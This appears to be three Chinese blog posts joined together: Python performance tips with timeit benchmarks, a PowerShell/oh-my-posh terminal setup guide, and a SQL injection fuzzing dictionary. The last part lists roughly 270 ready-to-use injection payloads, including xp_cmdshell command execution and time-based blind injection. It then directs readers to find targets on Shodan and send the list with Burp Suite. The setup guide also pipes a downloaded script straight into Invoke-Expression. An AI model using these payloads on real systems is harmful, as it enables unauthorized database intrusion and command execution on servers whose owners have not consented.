Python很慢？这十个方法让你的代码执行速度提升3倍！ 前言Python，作为一种动态类型的解释性语言，确实在执行速度上可能不如C这样的静态类型的编译语言。但是，通过一些技巧和策略，我们可以显著提升Python代码的性能。本文将探讨如何通过优化方法使Python代码运行得更快、更高效。我们将利用Python的timeit模块来精确测量代码的执行时间。注意：timeit模块在默认情况下会重复执行代码一百万次，以确保测量结果的准确性和稳定性def print_hi(name): print(f'Hi, {name}') if __name__ == '__main__': # 执行print_hi('PyCharm')方法 t = timeit.Timer(setup='from __main__ import print_hi', stmt='print_hi("PyCharm")') t.timeit()如何计算Python脚本的运行时间呢？在time模块中time.perf_counter()提供了一个高精度的计时器，适合测量短时间，例如import time # 记录程序开始时间 start_time = time.perf_counter() # 你的代码逻辑 # ... # 记录程序结束时间 end_time = time.perf_counter() # 计算程序运行时间 run_time = end_time - start_time print(f"程序运行时间：{run_time} 秒")介绍一、I/O密集型操作I/O密集型操作（Input/Output Intensive Operation）指的是那些在执行过程中，大部分时间都花在等待输入/输出操作完成的程序或任务。I/O操作包括从磁盘读取数据、写入数据到磁盘、网络通信等。这些操作通常涉及到硬件设备，因此它们的执行速度受到硬件性能和I/O带宽的限制。他们的特点有：\1. 等待时间：程序在执行I/O操作时，往往需要等待数据从外部设备传输到内存，或从内存传输到外部设备，这会导致程序的执行被阻塞。\2. CPU利用效率：由于I/O操作的等待时间，CPU在这段时间内可能处于空闲状态，导致CPU利用率不高。\3. 性能瓶颈：I/O操作的速度往往成为程序性能的瓶颈，尤其是在数据量大或传输速度慢的情况下。例如，使用I/O密集型操作print，运行一百万次import time import timeit def print_hi(name): print(f'Hi, {name}') return if __name__ == '__main__': start_time = time.perf_counter() # 执行print_hi('PyCharm')方法 t = timeit.Timer(setup='from __main__ import print_hi', stmt='print_hi("PyCharm")') t.timeit() end_time = time.perf_counter() run_time = end_time - start_time print(f"程序运行时间：{run_time} 秒")运行结果为3s而不使用i/o操作执行一个方法，即调用这个print_hi('xxxx')空方法，不使用print()，程序明显快了不少def print_hi(name): # print(f'Hi, {name}') return如果代码中必要的时候，例如文件读写，可以使用如下方法提高效率异步I/O：使用异步编程模式例如asyncio，允许程序在等待I/O操作完成时继续执行其他任务，从而提高CPU利用率。缓冲：使用缓冲区暂存数据，减少I/O操作的频率。并行处理：并行执行多个I/O操作，以提高整体的数据处理速度。优化数据结构：选择合适的数据结构，减少数据的读取和写入次数。二、使用生成器生成列表、字典在Python 2.7及其后续版本中，引入了对列表、字典和集合生成器的改进，这些改进让数据结构的构建过程更加简明和高效。1、传统方法def fun1(): list=[] for i in range(100): list.append(i) if __name__ == '__main__': start_time = time.perf_counter() t = timeit.Timer(setup='from __main__ import fun1', stmt='fun1()') t.timeit() end_time = time.perf_counter() run_time = end_time - start_time print(f"程序运行时间：{run_time} 秒") # 输出结果：程序运行时间：3.3872999000595883 秒2、使用生成器优化代码注：为了方便以下内容皆省略主函数main的代码部分def fun1(): list=[ i for i in range(100)] # 程序运行时间：2.1053185999626294 秒从上述的推导式程序中可以看出，除了理解更简洁、更容易阅读之外，它也更快。这使得此方法成为生成列表和循环的首选方法。三、避免字符串连接，使用join()join() 是一个字符串方法，在Python中用于将序列中的元素连接（或拼接）成一个字符串，通常使用特定的分隔符。他的优点通常为：\1. 效率高：join() 是连接字符串的高效方法，尤其是当处理大量字符串时，它通常比使用 + 操作符或 % 格式化更快，在连接大量字符串时，join() 方法通常比逐个连接更节省内存。\2. 简洁性：join() 使得代码更加简洁，避免了重复的字符串连接操作。\3. 灵活性：可以指定任何字符串作为分隔符，这为字符串拼接提供了极大的灵活性。\4. 广泛的用途：不仅可以用于字符串，还可以用于列表、元组等序列类型，只要元素可以被转换成字符串。举例：def fun1(): obj=['hellow','my','name','is','xiaoyu','!'] s="" for i in obj: s+=i # 程序运行时间：0.3610708999913186 秒使用 join() 来实现字符串拼接：def fun1(): obj=['hellow','my','name','is','xiaoyu','!'] "".join(obj) # 程序运行时间：0.18804279994219542 秒使用join()将函数的执行时间从0.36秒减少到0.18秒。四、使用Map代替循环在多数场景中，传统的for循环可以被更为高效的map()函数所替代。map()*是一个Python内置的*高阶函数，它能够将指定的函数应用于各种可迭代的数据结构，如列表、元组或字符串。使用map()的主要优势在于，它提供了一种更为简洁且高效的数据处理方式，避免了编写显式的循环代码。传统的循环方式：def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] new = [] for i in arr: new.append(i) # 程序运行时间：0.31288250000216067 秒使用map()函数做相同的功能：def fun2(x): return x def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] map(fun2,arr) # 程序运行时间：0.18387670000083745 秒对比之后，使用map()节省了将近一半的时间，大大提升了运行效率五、选择正确的数据结构选用恰当的数据结构对提升Python代码的执行效率至关重要。各类数据结构都针对特定操作进行了优化，合理选择能够加速数据的检索、添加和移除过程，进而增强程序的整体运行效能。例如，判断容器内的元素的时候，字典的查找效率高于列表，但是是在大量数据的情况下，少量数据恰恰相反# 使用少量数据进行测试 def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] 'hello' in arr 'my' in arr # 程序运行时间：0.11527379998005927 秒 def fun1(): arr={"hello", "my", "name", "is", "xiaoyu", "!"} 'hello' in arr 'my' in arr # 程序运行时间：0.17057139997836202 秒 # 使用 numpy 进行随机生成100个整数 def fun1(): nums = {i for i in np.random.randint(100, size=100)} 1 in nums # 程序运行时间：14.48330469999928 秒 def fun1(): nums = {i for i in np.random.randint(100, size=100)} 1 in nums # 程序运行时间：13.411826699972153 秒看到了在少量数据的情况下list执行效率是要大于dict的，但是在大量数据的情况下，dict的效率大于list如果有频繁的新增、删除操作，新增、删除的元素数量又很多时，list的效率不高。此时，应该考虑使用collections.deque。collections.deque是双端队列，同时具备栈和队列的特性，能够在两端进行 O(1)复杂度的插入和删除操作。collections.deque的使用from collections import deque def fun1(): arr=deque()# 创建一个空的deque for i in range(1000000): arr.append(i) # 程序运行时间：0.05507110000002058 秒 def fun1(): arr=[] for i in range(1000000): arr.append(i) # 程序运行时间：0.06128990000001977 秒list的查找操作也非常耗时。当需要在list频繁查找某些元素，或频繁有序访问这些元素时，可以使用bisect维护list对象有序并在其中进行二分查找，提升查找的效率。六、避免不必要的函数调用在Python编程中，优化函数调用次数对于提升代码效率至关重要。过多的函数调用不仅增加了开销，还可能消耗额外的内存，从而拖慢程序的运行速度。为了提升性能，我们应尽量减少不必要的函数调用，并尝试将多个操作合并成一个，以此来减少执行时间和资源消耗。这样的优化策略有助于我们编写更高效、更快速的代码。七、避免不必要的import虽然Python的import语句相对较快，但每个import都会涉及到查找模块、执行模块代码（如果还没有被执行过）、并将模块对象放入到当前命名空间中。这些操作都需要一定的时间和内存。当你不必要地导入模块时，就会增加这些开销。八、避免使用全局变量import math size=10000 def fun1(): for i in range(size): for j in range(size): z = math.sqrt(i) + math.sqrt(j) # 程序运行时间：15.630933800013736 许多程序员刚开始会用 Python 语言写一些简单的脚本，当编写脚本时，通常习惯了直接将其写为全局变量，例如上面的代码。但是，由于全局变量和局部变量实现方式不同，定义在全局范围内的代码运行速度会比定义在函数中的慢不少。通过将脚本语句放入到函数中，通常可带来 15% - 30% 的速度提升。import math def fun1(): size = 10000 for i in range(size): for j in range(size): z = math.sqrt(i) + math.sqrt(j) # 程序运行时间：14.933845699997619 秒九、避免模块和函数属性访问import math # 不推荐写法 def fun2(size: int): result = [] for i in range(size): result.append(math.sqrt(i)) return result def fun1(): size = 10000 for _ in range(size): result = fun2(size) # 程序运行时间：10.154493000009097 秒每次使用.（属性访问操作符时）会触发特定的方法，如__getattribute__()和__getattr__()，这些方法会进行字典操作，因此会带来额外的时间开销。通过from import语句，可以消除属性访问。from math import sqrt # 推荐写法：用到哪个模块就导哪个模块 def fun2(size: int): result = [] for i in range(size): result.append(sqrt(i)) return result def fun1(): size = 10000 for _ in range(size): result = fun2(size) # 程序运行时间：8.960758000030182 秒十、减少内层for循环的计算import math def fun1(): size = 10000 sqrt = math.sqrt for x in range(size): for y in range(size): z = sqrt(x) + sqrt(y) # sqrt() 求非负实数的平方根 # 程序运行时间：14.267008299939334 秒在上面代码中sqrt(x)位于内测for循环，每次循环都会重新计算，增加不必要的时间开销import math def fun1(): size = 10000 sqrt = math.sqrt for x in range(size): sqrt_x=sqrt(x) # 在外层for循环进行计算 for y in range(size): z = sqrt_x + sqrt(y) # 程序运行时间：8.499037600005977 秒总结通过这些方法，我们可以有效地提高Python代码的性能，使其在处理复杂任务时更加快速和高效。记住，性能优化是一个持续的过程，需要根据具体情况不断调整和改进，python运行速度的优化方法不限于以上方法，还有很多，如有大佬路过，请多指教。

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使用oh-my-posh美化Windows终端 使用oh-my-posh美化Windows终端在正式开始之前我们先更新一下powershell，检查当前版本，为5.1，win11默认都是5.1，需要手动升级，用过7.x后真的不想用这5.x了（超级好用），历史命令补全，智能提示常用命令，岂不美哉？这才是powershell！安装最新版本winget install --id Microsoft.Powershell --source winget下载完成之后切换到这个目录点进去就是powershell 7这时候菜单栏就可以发现一个powershell 7了，建议将注意：如果菜单没有的话，找到powershell 7的绝对安装路径(C:Program FilesPowerShell7pwsh.exe)，执行以下命令set-executionpolicy RemoteSigned $OutputEncoding Test-path $profile New-Item -Type file -Force $PROFILE # powershell初始化加载 PSReadLine 模块 Import-Module PSReadLine # 使用历史记录进行脚本提示 Set-PSReadLineOption -PredictionSource History # alt在Windows中有特殊用途，这里使用ctrl键代替 Set-PSReadLineKeyHandler -Chord "Ctrl+RightArrow" -Function ForwardWord此时我们进去的时候还是powershell 5，Windows 11自带的我们打开终端设置，修改默认的终端为刚刚下载的位置就好这样新建终端的时候就是纯净版powershell 7，还没有广告安装oh my poshpowershell安装Set-ExecutionPolicy Bypass -Scope Process -Force; Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('https://ohmyposh.dev/install.ps1'))重启终端新版终端还有历史命令提示，真的舒服此时就安装成功了在Nerd Font官网挑选一款自己喜欢的字体，记住名字后面要用（我自己选的是Cousine Nerd Font），下载并安装打开终端配置文件"font":{"face": "Cousine Nerd Font"}更改PowerShell安全策略Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine打开配置文件notepad $PROFILE如果配置文件不存在，则根据记事本提示创建新文件，或者以PowerShell命令创建New-Item -Path $PROFILE -Type File -Force在打开的配置文件添加以下代码并保存oh-my-posh init pwsh | Invoke-Expression已经加载默认的主题了显示可用主题Get-PoshThemes记住好自己要切换的主题名称notepad $PROFILE. $PROFILEok了，我换了个壁纸往期推荐【渗透测试】DC-8提权靶机综合渗透教程开箱即用！265种Windows渗透工具合集--灵兔宝盒一款开源持续更新的后渗透免杀框架SQL注入中各种waf的绕过方式，狗，盾，神，锁，宝放开双手 ！SQL注入Fuzzing字典 （270个）

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放开双手 ，SQL注入Fuzzing字典 （270个） 放开双手 ，SQL注入Fuzzing字典 （270个）什么是Fuzzing(模糊测试）？模糊测试（Fuzzing），是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。字典如下：' " # - -- ' -- --'; ' ; = ' = ; = -- x23 x27 x3D x3B' x3D x27 x27x4Fx52 SELECT * x27x6Fx72 SELECT * 'or select * admin'-- ';shutdown-- <>"'%;)(&+ ' or ''=' ' or 'x'='x " or "x"="x ') or ('x'='x 0 or 1=1 ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 1=1-- " or 1=1-- ' or '1'='1'-- "' or 1 --'" or 1=1-- or%201=1 or%201=1 -- ' or 1=1 or ''=' " or 1=1 or ""=" ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a 'hi' or 'x'='x'; @variable ,@variable PRINT PRINT @@variable select insert as or procedure limit order by asc desc delete update distinct having truncate replace like handler bfilename ' or username like '% ' or uname like '% ' or userid like '% ' or uid like '% ' or user like '% exec xp exec sp '; exec master..xp_cmdshell '; exec xp_regread t'exec master..xp_cmdshell 'nslookup www.google.com'-- --sp_password x27UNION SELECT ' UNION SELECT ' UNION ALL SELECT ' or (EXISTS) ' (select top 1 '||UTL_HTTP.REQUEST 1;SELECT%20* to_timestamp_tz tz_offset &lt;&gt;&quot;'%;)(&amp;+ '%20or%201=1 %27%20or%201=1 %20$(sleep%2050) %20'sleep%2050' char%4039%41%2b%40SELECT &apos;%20OR 'sqlattempt1 (sqlattempt2) | %7C *| %2A%7C *(|(mail=*)) %2A%28%7C%28mail%3D%2A%29%29 *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 ( %28 ) %29 & %26 ! %21 ' or 1=1 or ''=' ' or ''=' x' or 1=1 or 'x'='y / // //* */* ' ' and '' like ' ' AnD '' like ' ' or '' like ' ' and '' like '% ' aND '' like '% ' and '' like ''-- ' and 2>1-- ' and 2>3-- ') and ('x'='x ) and (1=1 'or''=' 'or'='or' a' or 1=1-- "a"" or 1=1--" or a = a a' or 'a' = 'a 1 or 1=1 a' waitfor delay '0:0:10'-- 1 waitfor delay '0:0:10'-- declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q) declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s) a' ? ' or 1=1 ‘ or 1=1 -- x' AND userid IS NULL; -- x' AND email IS NULL; -- anything' OR 'x'='x x' AND 1=(SELECT COUNT(*) FROM tabname); -- x' AND members.email IS NULL; -- x' OR full_name LIKE '%Bob% 23 OR 1=1 '; exec master..xp_cmdshell 'ping 172.10.1.255'-- ' '%20or%20''=' '%20or%20'x'='x %20or%20x=x ')%20or%20('x'='x 0 or 1=1 ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # or 0=0 #" or 0=0 # ' or 1=1-- " or 1=1-- ' or '1'='1'-- ' or 1 --' or 1=1-- or%201=1 or%201=1 -- ' or 1=1 or ''=' or 1=1 or ""= ' or a=a-- or a=a ') or ('a'='a ) or (a=a hi or a=a hi or 1=1 --" hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a "hi"") or (""a""=""a" 'hi' or 'x'='x'; @variable ,@variable PRINT PRINT @@variable select insert as or procedure limit order by asc desc delete update distinct having truncate replace like handler bfilename ' or username like '% ' or uname like '% ' or userid like '% ' or uid like '% ' or user like '% exec xp exec sp '; exec master..xp_cmdshell '; exec xp_regread t'exec master..xp_cmdshell 'nslookup www.google.com'-- --sp_password x27UNION SELECT ' UNION SELECT ' UNION ALL SELECT ' or (EXISTS) ' (select top 1 '||UTL_HTTP.REQUEST 1;SELECT%20* to_timestamp_tz tz_offset <>"'%;)(&+ '%20or%201=1 %27%20or%201=1 %20$(sleep%2050) %20'sleep%2050' char%4039%41%2b%40SELECT &apos;%20OR 'sqlattempt1 (sqlattempt2) | %7C *| %2A%7C *(|(mail=*)) %2A%28%7C%28mail%3D%2A%29%29 *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 ( %28 ) %29 & %26 ! %21 ' or 1=1 or ''=' ' or ''=' x' or 1=1 or 'x'='y / // //* */* a' or 3=3-- "a"" or 3=3--" ' or 3=3 ‘ or 3=3 --使用shodan查找靶机访问端口+IP打开burp suite从文件加载字典测试，直接看响应长度即可往期推荐开箱即用！265种windows渗透工具合集--灵兔宝盒我是如何利用Typora写网络安全技术文章的，公众号格子背景又是如何做到的？【kali笔记】这样炫酷的终端签名，是如何打印出来的？【内网渗透】免工具，内网、域内信息收集的40种方式总结【渗透测试】16个实用谷歌浏览器插件分享